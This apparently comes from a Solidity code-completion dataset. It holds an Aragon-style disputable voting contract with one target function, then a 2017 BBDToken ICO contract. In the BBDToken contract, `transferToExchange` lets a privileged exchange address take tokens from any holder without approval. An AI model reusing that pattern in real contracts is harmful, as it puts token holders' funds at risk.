a vote is open for voting * Initialization check is implicitly provided by `_getVote()` as new votes can only be * created via `newVote()`, which requires initialization * @param _voteId Identification number of the vote being queried * @return True if the vote is open for voting */ function isVoteOpenForVoting(uint256 _voteId) external view returns (bool) { Vote storage vote_ = _getVote(_voteId); Setting storage setting = settings[vote_.settingId]; return _isVoteOpenForVoting(vote_, setting); } /** * @dev Tell if a vote currently allows representatives to vote for delegated voters * Initialization check is implicitly provided by `_getVote()` as new votes can only be * created via `newVote()`, which requires initialization * @param _voteId Vote identifier * @return True if the vote currently allows representatives to vote */ function canRepresentativesVote(uint256 _voteId) external view returns (bool) { Vote storage vote_ = _getVote(_voteId); return _canRepresentativesVote(vote_); } /** * @dev Tell if a representative currently represents another voter * @param _voter Address of the delegated voter being queried * @param _representative Address of the representative being queried * @return True if the representative currently represents the voter */ function isRepresentativeOf(address _voter, address _representative) external view isInitialized returns (bool) { return _isRepresentativeOf(_voter, _representative); } // DisputableAragonApp callback implementations /** * @dev Received when a vote is challenged * @param _voteId Identification number of the vote * @param _challengeId Identification number of the challenge associated to the vote on the attached Agreement */ function _onDisputableActionChallenged(uint256 _voteId, uint256 _challengeId, address /* _challenger */) internal { Vote storage vote_ = _getVote(_voteId); require(_isNormal(vote_), ERROR_CANNOT_PAUSE_VOTE); vote_.status = VoteStatus.Paused; vote_.pausedAt = getTimestamp64(); emit PauseVote(_voteId, _challengeId); } /** * @dev Received when a vote was ruled in favour of the submitter * @param _voteId Identification number of the vote */ function _onDisputableActionAllowed(uint256 _voteId) internal { Vote storage vote_ = _getVote(_voteId); require(_isPaused(vote_), ERROR_VOTE_NOT_PAUSED); vote_.status = VoteStatus.Normal; vote_.pauseDuration = getTimestamp64().sub(vote_.pausedAt); emit ResumeVote(_voteId); } /** * @dev Received when a vote was ruled in favour of the challenger * @param _voteId Identification number of the vote */ function _onDisputableActionRejected(uint256 _voteId) internal { Vote storage vote_ = _getVote(_voteId); require(_isPaused(vote_), ERROR_VOTE_NOT_PAUSED); vote_.status = VoteStatus.Cancelled; vote_.pauseDuration = getTimestamp64().sub(vote_.pausedAt); emit CancelVote(_voteId); } /** * @dev Received when a vote was ruled as void * @param _voteId Identification number of the vote */ function _onDisputableActionVoided(uint256 _voteId) internal { // When a challenged vote is ruled as voided, it is considered as being allowed. // This could be the case for challenges where the attached Agreement's arbitrator refuses to rule the case. _onDisputableActionAllowed(_voteId); } // Internal fns /** * @dev Create a new empty setting instance * @return New setting's instance * @return New setting's identification number */ function _newSetting() internal returns (Setting storage setting, uint256 settingId) { settingId = settingsLength++; setting = settings[settingId]; emit NewSetting(settingId); } /** * @dev Create a copy of the current settings as a new setting instance * @return New setting's instance */ function _newCopiedSettings() internal returns (Setting storage) { (Setting storage to, uint256 settingId) = _newSetting(); Setting storage from = _getSetting(settingId - 1); to.voteTime = from.voteTime; to.supportRequiredPct = from.supportRequiredPct; to.minAcceptQuorumPct = from.minAcceptQuorumPct; to.delegatedVotingPeriod = from.delegatedVotingPeriod; to.quietEndingPeriod = from.quietEndingPeriod; to.quietEndingExtension = from.quietEndingExtension; to.executionDelay = from.executionDelay; return to; } /** * @dev Change vote time * @param _setting Setting instance to update * @param _voteTime New vote time */ function _changeVoteTime(Setting storage _setting, uint64 _voteTime) internal { require(_voteTime > 0, ERROR_VOTE_TIME_ZERO); _setting.voteTime = _voteTime; emit ChangeVoteTime(_voteTime); } /** * @dev Change the required support * @param _setting Setting instance to update * @param _supportRequiredPct New required support; expressed as a percentage of 10^18 */ function _changeSupportRequiredPct(Setting storage _setting, uint64 _supportRequiredPct) internal { require(_setting.minAcceptQuorumPct <= _supportRequiredPct, ERROR_CHANGE_SUPPORT_TOO_SMALL); require(_supportRequiredPct < PCT_BASE, ERROR_CHANGE_SUPPORT_TOO_BIG); _setting.supportRequiredPct = _supportRequiredPct; emit ChangeSupportRequired(_supportRequiredPct); } /** * @dev Change the minimum acceptance quorum * @param _setting Setting instance to update * @param _minAcceptQuorumPct New acceptance quorum; expressed as a percentage of 10^18 */ function _changeMinAcceptQuorumPct(Setting storage _setting, uint64 _minAcceptQuorumPct) internal { require(_minAcceptQuorumPct <= _setting.supportRequiredPct, ERROR_CHANGE_QUORUM_TOO_BIG); _setting.minAcceptQuorumPct = _minAcceptQuorumPct; emit ChangeMinQuorum(_minAcceptQuorumPct); } /** * @dev Change the delegated voting period * @param _setting Setting instance to update * @param _delegatedVotingPeriod New delegated voting period */ function _changeDelegatedVotingPeriod(Setting storage _setting, uint64 _delegatedVotingPeriod) internal { require(_delegatedVotingPeriod <= _setting.voteTime, ERROR_INVALID_DELEGATED_VOTING_PERIOD); _setting.delegatedVotingPeriod = _delegatedVotingPeriod; emit ChangeDelegatedVotingPeriod(_delegatedVotingPeriod); } /** * @dev Change the quiet ending configuration * @param _setting Setting instance to update * @param _quietEndingPeriod New quiet ending period * @param _quietEndingExtension New quiet ending extension */ function _changeQuietEndingConfiguration(Setting storage _setting, uint64 _quietEndingPeriod, uint64 _quietEndingExtension) internal { require(_quietEndingPeriod <= _setting.voteTime, ERROR_INVALID_QUIET_ENDING_PERIOD); _setting.quietEndingPeriod = _quietEndingPeriod; _setting.quietEndingExtension = _quietEndingExtension; emit ChangeQuietEndingConfiguration(_quietEndingPeriod, _quietEndingExtension); } /** * @dev Change the execution delay * @param _setting Setting instance to update * @param _executionDelay New execution delay */ function _changeExecutionDelay(Setting storage _setting, uint64 _executionDelay) internal { _setting.executionDelay = _executionDelay; emit ChangeExecutionDelay(_executionDelay); } /** * @dev Create a new vote * @param _executionScript Action (encoded as an EVM script) that will be allowed to execute if the vote passes * @param _context Additional context for the vote, also used as the disputable action's context on the attached Agreement * @return voteId Identification number for the newly created vote */ function _newVote(bytes _executionScript, bytes _context) internal returns (uint256 voteId) { uint64 snapshotBlock = getBlockNumber64() - 1; // avoid double voting in this very block uint256 totalPower = token.totalSupplyAt(snapshotBlock); require(totalPower > 0, ERROR_NO_TOTAL_VOTING_POWER); voteId = votesLength++; Vote storage vote_ = votes[voteId]; vote_.totalPower = totalPower; vote_.startDate = getTimestamp64(); vote_.snapshotBlock = snapshotBlock; vote_.status = VoteStatus.Normal; vote_.settingId = _getCurrentSettingId(); vote_.executionScriptHash = keccak256(_executionScript); // Notify the attached Agreement about the new vote; this is mandatory in making the vote disputable // Note that we send `msg.sender` as the action's submitter--the attached Agreement may expect to be able to pull funds from this account vote_.actionId = _registerDisputableAction(voteId, _context, msg.sender); emit StartVote(voteId, msg.sender, _context, _executionScript); } /** * @dev Cast a vote * Assumes all eligibility checks have passed for the given vote and voter * @param _vote Vote instance * @param _voteId Identification number of vote * @param _supports Whether principal voter supports the vote * @param _voter Address of principal voter * @param _caster Address of vote caster, if voting via representative */ function _castVote(Vote storage _vote, uint256 _voteId, bool _supports, address _voter, address _caster) internal { Setting storage setting = settings[_vote.settingId]; if (_hasStartedQuietEndingPeriod(_vote, setting)) { _ensureQuietEnding(_vote, setting, _voteId); } uint256 yeas = _vote.yea; uint256 nays = _vote.nay; uint256 voterStake = token.balanceOfAt(_voter, _vote.snapshotBlock); VoteCast storage castVote = _vote.castVotes[_voter]; VoterState previousVoterState = castVote.state; // If voter had previously voted, reset their vote // Note that votes can only be changed once by the principal voter to overrule their representative's vote if (previousVoterState == VoterState.Yea) { yeas = yeas.sub(voterStake); } else if (previousVoterState == VoterState.Nay) { nays = nays.sub(voterStake); } if (_supports) { yeas = yeas.add(voterStake); } else { nays = nays.add(voterStake); } _vote.yea = yeas; _vote.nay = nays; castVote.state = _voterStateFor(_supports); castVote.caster = _caster; emit CastVote(_voteId, _voter, _supports, _caster == address(0) ? _voter : _caster); } /** * @dev Ensure we keep track of the information related for detecting a quiet ending * @param _vote Vote instance * @param _setting Setting instance applicable to the vote * @param _voteId Identification number of the vote */ function _ensureQuietEnding(Vote storage _vote, Setting storage _setting, uint256 _voteId) internal { bool isAccepted = _isAccepted(_vote, _setting); if (_vote.quietEndingSnapshotSupport == VoterState.Absent) { // If we do not have a snapshot of the support yet, simply store the given value. // Note that if there are no votes during the quiet ending period, it is obviously impossible for the vote to be flipped and // this snapshot is never stored. _vote.quietEndingSnapshotSupport = _voterStateFor(isAccepted); } else { // We are calculating quiet ending extensions via "rolling snapshots", and so we only update the vote's cached duration once // the last period is over and we've confirmed the flip. if (getTimestamp() >= _lastComputedVoteEndDate(_vote, _setting)) { _vote.quietEndingExtensionDuration = _vote.quietEndingExtensionDuration.add(_setting.quietEndingExtension); emit QuietEndingExtendVote(_voteId, isAccepted); } } } /** * @dev Fetch a setting's instance by identification number * @return Identification number of the current setting */ function _getSetting(uint256 _settingId) internal view returns (Setting storage) { require(_settingId < settingsLength, ERROR_SETTING_DOES_NOT_EXIST); return settings[_settingId]; } /** * @dev Tell the identification number of the current setting * @return Identification number of the current setting */ function _getCurrentSettingId() internal view returns (uint256) { // No need for SafeMath, note that a new setting is created during initialization return settingsLength - 1; } /** * @dev Fetch a vote instance by identification number * @param _voteId Identification number of the vote * @return Vote instance */ function _getVote(uint256 _voteId) internal view returns (Vote storage) { require(_voteId < votesLength, ERROR_NO_VOTE); return votes[_voteId]; } /** * @dev Tell if a voter can participate in a vote. * Note that a voter cannot change their vote once cast, except by the principal voter to overrule their representative's vote. * @param _vote Vote instance being queried * @param _voter Address of the voter being queried * @return True if the voter can participate a certain vote */ function _canVote(Vote storage _vote, address _voter) internal view returns (bool) { Setting storage setting = settings[_vote.settingId]; return _isVoteOpenForVoting(_vote, setting) && _hasVotingPower(_vote, _voter) && _voteCaster(_vote, _voter) != _voter; } /** * @dev Tell if a vote currently allows representatives to vote for delegated voters * @param _vote Vote instance being queried * @return True if the vote currently allows representatives to vote */ function _canRepresentativesVote(Vote storage _vote) internal view returns (bool) { return _isNormal(_vote) && !_hasFinishedDelegatedVotingPeriod(_vote, settings[_vote.settingId]); } /** * @dev Tell if a vote can be executed * @param _vote Vote instance being queried * @return True if the vote can be executed */ function _canExecute(Vote storage _vote) internal view returns (bool) { // If the vote is executed, paused, or cancelled, it cannot be executed if (!_isNormal(_vote)) { return false; } Setting storage setting = settings[_vote.settingId]; // If the vote is still open, it cannot be executed if (!_hasEnded(_vote, setting)) { return false; } // If the vote's execution delay has not finished yet, it cannot be executed if (!_hasFinishedExecutionDelay(_vote, setting)) { return false; } // Check the vote has enough support and has reached the min quorum return _isAccepted(_vote, setting); } /** * @dev Tell if a vote is in a "normal" non-exceptional state * @param _vote Vote instance being queried * @return True if the vote is normal */ function _isNormal(Vote storage _vote) internal view returns (bool) { return _vote.status == VoteStatus.Normal; } /** * @dev Tell if a vote is paused * @param _vote Vote instance being queried * @return True if the vote is paused */ function _isPaused(Vote storage _vote) internal view returns (bool) { return _vote.status == VoteStatus.Paused; } /** * @dev Tell if a vote was executed * @param _vote Vote instance being queried * @return True if the vote was executed */ function _isExecuted(Vote storage _vote) internal view returns (bool) { return _vote.status == VoteStatus.Executed; } /** * @dev Tell if a vote is currently accepted * @param _vote Vote instance being queried * @param _setting Setting instance applicable to the vote * @return True if the vote is accepted */ function _isAccepted(Vote storage _vote, Setting storage _setting) internal view returns (bool) { uint256 yeas = _vote.yea; uint256 nays = _vote.nay; uint64 supportRequiredPct = _setting.supportRequiredPct; uint64 minimumAcceptanceQuorumPct = _setting.minAcceptQuorumPct; return _isValuePct(yeas, yeas.add(nays), supportRequiredPct) && _isValuePct(yeas, _vote.totalPower, minimumAcceptanceQuorumPct); } /** * @dev Tell if a vote is open for voting * @param _vote Vote instance being queried * @param _setting Setting instance applicable to the vote * @return True if the vote is open for voting */ function _isVoteOpenForVoting(Vote storage _vote, Setting storage _setting) internal view returns (bool) { return _isNormal(_vote) && !_hasEnded(_vote, _setting); } /** * @dev Tell if a vote has ended * @param _vote Vote instance being queried * @param _setting Setting instance applicable to the vote * @return True if the vote has ended */ function _hasEnded(Vote storage _vote, Setting storage _setting) internal view returns (bool) { return getTimestamp() >= _currentVoteEndDate(_vote, _setting); } /** * @dev Tell if a vote's delegated voting period has finished * This function doesn't ensure that the vote is still open * @param _vote Vote instance being queried * @param _setting Setting instance applicable to the vote * @return True if the vote's delegated voting period has finished */ function _hasFinishedDelegatedVotingPeriod(Vote storage _vote, Setting storage _setting) internal view returns (bool) { uint64 baseDelegatedVotingPeriodEndDate = _vote.startDate.add(_setting.delegatedVotingPeriod); // If the vote was paused before the delegated voting period ended, we need to extend it uint64 pausedAt = _vote.pausedAt; uint64 pauseDuration = _vote.pauseDuration; uint64 actualDeletedVotingEndDate = pausedAt != 0 && pausedAt < baseDelegatedVotingPeriodEndDate ? baseDelegatedVotingPeriodEndDate.add(pauseDuration) : baseDelegatedVotingPeriodEndDate; return getTimestamp() >= actualDeletedVotingEndDate; } /** * @dev Tell if a vote's quiet ending period has started * This function doesn't ensure that the vote is still open * @param _vote Vote instance being queried * @param _setting Setting instance applicable to the vote * @return True if the vote's quiet ending period has started */ function _hasStartedQuietEndingPeriod(Vote storage _vote, Setting storage _setting) internal view returns (bool) { uint64 voteBaseEndDate = _baseVoteEndDate(_vote, _setting); uint64 baseQuietEndingPeriodStartDate = voteBaseEndDate.sub(_setting.quietEndingPeriod); // If the vote was paused before the quiet ending period started, we need to delay it uint64 pausedAt = _vote.pausedAt; uint64 pauseDuration = _vote.pauseDuration; uint64 actualQuietEndingPeriodStartDate = pausedAt != 0 && pausedAt < baseQuietEndingPeriodStartDate ? baseQuietEndingPeriodStartDate.add(pauseDuration) : baseQuietEndingPeriodStartDate; return getTimestamp() >= actualQuietEndingPeriodStartDate; } /** * @dev Tell if a vote's execution delay has finished * @param _vote Vote instance being queried * @param _setting Setting instance applicable to the vote * @return True if the vote's execution delay has finished */ function _hasFinishedExecutionDelay(Vote storage _vote, Setting storage _setting) internal view returns (bool) { uint64 endDate = _currentVoteEndDate(_vote, _setting); return getTimestamp() >= endDate.add(_setting.executionDelay); } /** * @dev Calculate the original end date of a vote * It does not consider extensions from pauses or the quiet ending mechanism * @param _vote Vote instance being queried * @param _setting Setting instance applicable to the vote * @return Datetime of the vote's original end date */ function _baseVoteEndDate(Vote storage _vote, Setting storage _setting) internal view returns (uint64) { return _vote.startDate.add(_setting.voteTime); } /** * @dev Tell the last computed end date of a vote. * It considers extensions from pauses and the quiet ending mechanism. * We call this the "last computed end date" because we use the currently cached quiet ending extension, which may be off-by-one from reality * because it is only updated on the first vote in a new extension (which may never happen). * The pause duration will only be included after the vote has "resumed" from its pause, as we do not know how long the pause will be in advance. * @param _vote Vote instance being queried * @param _setting Setting instance applicable to the vote * @return Datetime of the vote's last computed end date */ function _lastComputedVoteEndDate(Vote storage _vote, Setting storage _setting) internal view returns (uint64) { uint64 endDateAfterPause = _baseVoteEndDate(_vote, _setting).add(_vote.pauseDuration); return endDateAfterPause.add(_vote.quietEndingExtensionDuration); } /** * @dev Calculate the current end date of a vote. * It considers extensions from pauses and the quiet ending mechanism. * We call this the "current end date" because it takes into account a posssibly "missing" quiet ending extension that was not cached with the vote. * The pause duration will only be included after the vote has "resumed" from its pause, as we do not know how long the pause will be in advance. * @param _vote Vote instance being queried * @param _setting Setting instance applicable to the vote * @return Datetime of the vote's current end date */ function _currentVoteEndDate(Vote storage _vote, Setting storage _setting) internal view returns (uint64) { uint64 lastComputedEndDate = _lastComputedVoteEndDate(_vote, _setting); // The last computed end date is correct if we have not passed it yet or if no flip was detected in the last extension if (getTimestamp() < lastComputedEndDate || !_wasFlipped(_vote)) { return lastComputedEndDate; } // Otherwise, since the last computed end date was reached and included a flip, we need to extend the end date by one more period return lastComputedEndDate.add(_setting.quietEndingExtension); } /** * @dev Tell if a vote was flipped in its most recent quiet ending period * This function assumes that it will only be called after the most recent quiet ending period has already ended * @param _vote Vote instance being queried * @return True if the vote was flipped */ function _wasFlipped(Vote storage _vote) internal view returns (bool) { // If there was no snapshot taken, it means no one voted during the quiet ending period. Thus, it cannot have been flipped. VoterState snapshotSupport = _vote.quietEndingSnapshotSupport; if (snapshotSupport == VoterState.Absent) { return false; } // Otherwise, we calculate if the vote was flipped by comparing its current acceptance state to its last state at the start of the extension period bool wasInitiallyAccepted = snapshotSupport == VoterState.Yea; Setting storage setting = settings[_vote.settingId]; uint256 currentExtensions = _vote.quietEndingExtensionDuration / setting.quietEndingExtension; bool wasAcceptedBeforeLastFlip = wasInitiallyAccepted != (currentExtensions % 2 != 0); return wasAcceptedBeforeLastFlip != _isAccepted(_vote, setting); } /** * @dev Tell if a voter has voting power for a vote * @param _vote Vote instance being queried * @param _voter Address of the voter being queried * @return True if the voter has voting power for a certain vote */ function _hasVotingPower(Vote storage _vote, address _voter) internal view returns (bool) { return token.balanceOfAt(_voter, _vote.snapshotBlock) > 0; } /** * @dev Tell if a voter has cast their choice in a vote (by themselves or via a representative) * @param _vote Vote instance being queried * @param _voter Address of the voter being queried * @return True if the voter has cast their choice in the vote */ function _hasCastVote(Vote storage _vote, address _voter) internal view returns (bool) { return _voterState(_vote, _voter) != VoterState.Absent; } /** * @dev Tell the state of a voter for a vote * @param _vote Vote instance being queried * @param _voter Address of the voter being queried * @return Voting state of the voter */ function _voterState(Vote storage _vote, address _voter) internal view returns (VoterState) { return _vote.castVotes[_voter].state; } /** * @dev Tell the caster of a voter on a vote * @param _vote Vote instance being queried * @param _voter Address of the voter being queried * @return Address of the vote's caster */ function _voteCaster(Vote storage _vote, address _voter) internal view returns (address) { if (!_hasCastVote(_vote, _voter)) { return address(0); } address _caster = _vote.castVotes[_voter].caster; return _caster == address(0) ? _voter : _caster; } /** * @dev Tell if a representative currently represents another voter * @param _voter Address of the delegated voter being queried * @param _representative Address of the representative being queried * @return True if the representative currently represents the voter */ function _isRepresentativeOf(address _voter, address _representative) internal view returns (bool) { return representatives[_voter] == _representative; } /** * @dev Tell if an address can forward actions * @param _sender Address intending to forward an action * @return True if the address can create votes */ function _canForward(address _sender, bytes) internal view returns (bool) { IAgreement agreement = _getAgreement(); // To make sure the sender address is reachable by ACL oracles, we need to pass it as the first argument. // Permissions set with ANY_ENTITY do not provide the original sender's address into the ACL Oracle's `grantee` argument. return agreement != IAgreement(0) && canPerform(_sender, CREATE_VOTES_ROLE, arr(_sender)); } /** * @dev Calculates whether a given value is greater than a percentage of its total * @param _value Numerator * @param _total Divisor * @param _pct Required percentage necessary, expressed as a percentage of 10^18 * @return True if the value is above the required percentage */ function _isValuePct(uint256 _value, uint256 _total, uint256 _pct) internal pure returns (bool) { if (_total == 0) { return false; } uint256 computedPct = _value.mul(PCT_BASE) / _total; return computedPct > _pct; } /** * @dev Translate a voter's support into a voter state * @param _supports Whether voter supports the vote * @return Voter state, as an enum */ function _voterStateFor(bool _supports) internal pure returns (VoterState) { return _supports ? VoterState.Yea : VoterState.Nay; } }
Change quiet ending period to `@transformTime(_quietEndingPeriod)` with extensions of `@transformTime(_quietEndingExtension)` _quietEndingPeriod New quiet ending period _quietEndingExtension New quiet ending extension/
function changeQuietEndingConfiguration(uint64 _quietEndingPeriod, uint64 _quietEndingExtension) external authP(CHANGE_QUIET_ENDING_ROLE, arr(uint256(_quietEndingPeriod), uint256(_quietEndingExtension))) { Setting storage setting = _newCopiedSettings(); _changeQuietEndingConfiguration(setting, _quietEndingPeriod, _quietEndingExtension); }
15,422,800
//Address: 0x5ca71ea65acb6293e71e62c41b720698b0aa611c //Contract name: BBDToken //Balance: 0 Ether //Verification Date: 9/30/2017 //Transacion Count: 413 // CODE STARTS HERE pragma solidity ^0.4.13; /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { function mul(uint256 a, uint256 b) internal constant returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) internal constant returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function sub(uint256 a, uint256 b) internal constant returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal constant returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/179 */ contract ERC20Basic { uint256 public totalSupply; function balanceOf(address who) constant returns (uint256); function transfer(address to, uint256 value) returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address owner, address spender) constant returns (uint256); function transferFrom(address from, address to, uint256 value) returns (bool); function approve(address spender, uint256 value) returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @title Basic token * @dev Basic version of StandardToken, with no allowances. */ contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) returns (bool) { balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) constant returns (uint256 balance) { return balances[_owner]; } } /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * @dev https://github.com/ethereum/EIPs/issues/20 * @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amout of tokens to be transfered */ function transferFrom(address _from, address _to, uint256 _value) returns (bool) { var _allowance = allowed[_from][msg.sender]; // Check is not needed because sub(_allowance, _value) will already throw if this condition is not met // require (_value <= _allowance); balances[_to] = balances[_to].add(_value); balances[_from] = balances[_from].sub(_value); allowed[_from][msg.sender] = _allowance.sub(_value); Transfer(_from, _to, _value); return true; } /** * @dev Aprove the passed address to spend the specified amount of tokens on behalf of msg.sender. * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) returns (bool) { // To change the approve amount you first have to reduce the addresses` // allowance to zero by calling `approve(_spender, 0)` if it is not // already 0 to mitigate the race condition described here: // https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 require((_value == 0) || (allowed[msg.sender][_spender] == 0)); allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifing the amount of tokens still avaible for the spender. */ function allowance(address _owner, address _spender) constant returns (uint256 remaining) { return allowed[_owner][_spender]; } } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function Ownable() { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) onlyOwner { if (newOwner != address(0)) { owner = newOwner; } } } contract MigrationAgent { function migrateFrom(address _from, uint256 _value); } /** BlockChain Board Of Derivatives Token. */ contract BBDToken is StandardToken, Ownable { // Metadata string public constant name = "BlockChain Board Of Derivatives Token"; string public constant symbol = "BBD"; uint256 public constant decimals = 18; string private constant version = '1.0.0'; // Crowdsale parameters uint256 public constant startTime = 1506844800; //Sunday, 1 October 2017 08:00:00 GMT uint256 public constant endTime = 1509523200; // Wednesday, 1 November 2017 08:00:00 GMT uint256 public constant creationMaxCap = 300000000 * 10 ** decimals; uint256 public constant creationMinCap = 2500000 * 10 ** decimals; uint256 private constant startCreationRateOnTime = 1666; // 1666 BDD per 1 ETH uint256 private constant endCreationRateOnTime = 1000; // 1000 BDD per 1 ETH uint256 private constant quantityThreshold_10 = 10 ether; uint256 private constant quantityThreshold_30 = 30 ether; uint256 private constant quantityThreshold_100 = 100 ether; uint256 private constant quantityThreshold_300 = 300 ether; uint256 private constant quantityBonus_10 = 500; // 5% uint256 private constant quantityBonus_30 = 1000; // 10% uint256 private constant quantityBonus_100 = 1500; // 15% uint256 private constant quantityBonus_300 = 2000; // 20% // The flag indicates if the crowdsale was finalized bool public finalized = false; // Migration information address public migrationAgent; uint256 public totalMigrated; // Exchange address address public exchangeAddress; // Team accounts address private constant mainAccount = 0xEB1D40f6DA0E77E2cA046325F6F2a76081B4c7f4; address private constant coreTeamMemberOne = 0xe43088E823eA7422D77E32a195267aE9779A8B07; address private constant coreTeamMemberTwo = 0xad00884d1E7D0354d16fa8Ab083208c2cC3Ed515; // Ether raised uint256 private raised = 0; // Since we have different exchange rates, we need to keep track of how // much ether each contributed in case that we need to issue a refund mapping (address => uint256) private ethBalances; uint256 private constant divisor = 10000; // Events event LogRefund(address indexed _from, uint256 _value); event LogMigrate(address indexed _from, address indexed _to, uint256 _value); event LogBuy(address indexed _purchaser, address indexed _beneficiary, uint256 _value, uint256 _amount); // Check if min cap was archived. modifier onlyWhenICOReachedCreationMinCap() { require( totalSupply >= creationMinCap ); _; } function() payable { buy(msg.sender); } function creationRateOnTime() public constant returns (uint256) { uint256 currentPrice; if (now > endTime) { currentPrice = endCreationRateOnTime; } else { //Price is changing lineral starting from startCreationRateOnTime to endCreationRateOnTime uint256 rateRange = startCreationRateOnTime - endCreationRateOnTime; uint256 timeRange = endTime - startTime; currentPrice = startCreationRateOnTime.sub(rateRange.mul(now.sub(startTime)).div(timeRange)); } return currentPrice; } //Calculate number of BBD tokens for provided ether function calculateBDD(uint256 _ethVal) private constant returns (uint256) { uint256 bonus; //We provide bonus depending on eth value if (_ethVal < quantityThreshold_10) { bonus = 0; // 0% bonus } else if (_ethVal < quantityThreshold_30) { bonus = quantityBonus_10; // 5% bonus } else if (_ethVal < quantityThreshold_100) { bonus = quantityBonus_30; // 10% bonus } else if (_ethVal < quantityThreshold_300) { bonus = quantityBonus_100; // 15% bonus } else { bonus = quantityBonus_300; // 20% bonus } // Get number of BBD tokens return _ethVal.mul(creationRateOnTime()).mul(divisor.add(bonus)).div(divisor); } // Buy BBD function buy(address _beneficiary) payable { require(!finalized); require(msg.value != 0); require(now <= endTime); require(now >= startTime); uint256 bbdTokens = calculateBDD(msg.value); uint256 additionalBBDTokensForMainAccount = bbdTokens.mul(2250).div(divisor); // 22.5% uint256 additionalBBDTokensForCoreTeamMember = bbdTokens.mul(125).div(divisor); // 1.25% //Increase by 25% number of bbd tokens on each buy. uint256 checkedSupply = totalSupply.add(bbdTokens) .add(additionalBBDTokensForMainAccount) .add(2 * additionalBBDTokensForCoreTeamMember); require(creationMaxCap >= checkedSupply); totalSupply = checkedSupply; //Update balances balances[_beneficiary] = balances[_beneficiary].add(bbdTokens); balances[mainAccount] = balances[mainAccount].add(additionalBBDTokensForMainAccount); balances[coreTeamMemberOne] = balances[coreTeamMemberOne].add(additionalBBDTokensForCoreTeamMember); balances[coreTeamMemberTwo] = balances[coreTeamMemberTwo].add(additionalBBDTokensForCoreTeamMember); ethBalances[_beneficiary] = ethBalances[_beneficiary].add(msg.value); raised += msg.value; if (exchangeAddress != 0x0 && totalSupply >= creationMinCap && msg.value >= 1 ether) { // After archiving min cap we start moving 10% to exchange. It will help with liquidity on exchange. exchangeAddress.transfer(msg.value.mul(1000).div(divisor)); // 10% } LogBuy(msg.sender, _beneficiary, msg.value, bbdTokens); } // Finalize for successful ICO function finalize() onlyOwner external { require(!finalized); require(now >= endTime || totalSupply >= creationMaxCap); finalized = true; uint256 ethForCoreMember = raised.mul(500).div(divisor); coreTeamMemberOne.transfer(ethForCoreMember); // 5% coreTeamMemberTwo.transfer(ethForCoreMember); // 5% mainAccount.transfer(this.balance); //90% } // Refund if ICO won't reach min cap function refund() external { require(now > endTime); require(totalSupply < creationMinCap); uint256 bddVal = balances[msg.sender]; require(bddVal > 0); uint256 ethVal = ethBalances[msg.sender]; require(ethVal > 0); balances[msg.sender] = 0; ethBalances[msg.sender] = 0; totalSupply = totalSupply.sub(bddVal); msg.sender.transfer(ethVal); LogRefund(msg.sender, ethVal); } // Allow to migrate to next version of contract function migrate(uint256 _value) external { require(finalized); require(migrationAgent != 0x0); require(_value > 0); require(_value <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_value); totalSupply = totalSupply.sub(_value); totalMigrated = totalMigrated.add(_value); MigrationAgent(migrationAgent).migrateFrom(msg.sender, _value); LogMigrate(msg.sender, migrationAgent, _value); } // Set migration Agent function setMigrationAgent(address _agent) onlyOwner external { require(finalized); require(migrationAgent == 0x0); migrationAgent = _agent; } // Set exchange address function setExchangeAddress(address _exchangeAddress) onlyOwner external { require(exchangeAddress == 0x0); exchangeAddress = _exchangeAddress; } function transfer(address _to, uint _value) onlyWhenICOReachedCreationMinCap returns (bool) { return super.transfer(_to, _value); } function transferFrom(address _from, address _to, uint _value) onlyWhenICOReachedCreationMinCap returns (bool) { return super.transferFrom(_from, _to, _value); } // Transfer BBD to exchange. function transferToExchange(address _from, uint256 _value) onlyWhenICOReachedCreationMinCap returns (bool) { require(msg.sender == exchangeAddress); balances[exchangeAddress] = balances[exchangeAddress].add(_value); balances[_from] = balances[_from].sub(_value); Transfer(_from, exchangeAddress, _value); return true; } // ICO overview function icoOverview() constant returns (uint256 currentlyRaised, uint256 currentlyTotalSupply, uint256 currentlyCreationRateOnTime){ currentlyRaised = raised; currentlyTotalSupply = totalSupply; currentlyCreationRateOnTime = creationRateOnTime(); } }
Allow to migrate to next version of contract
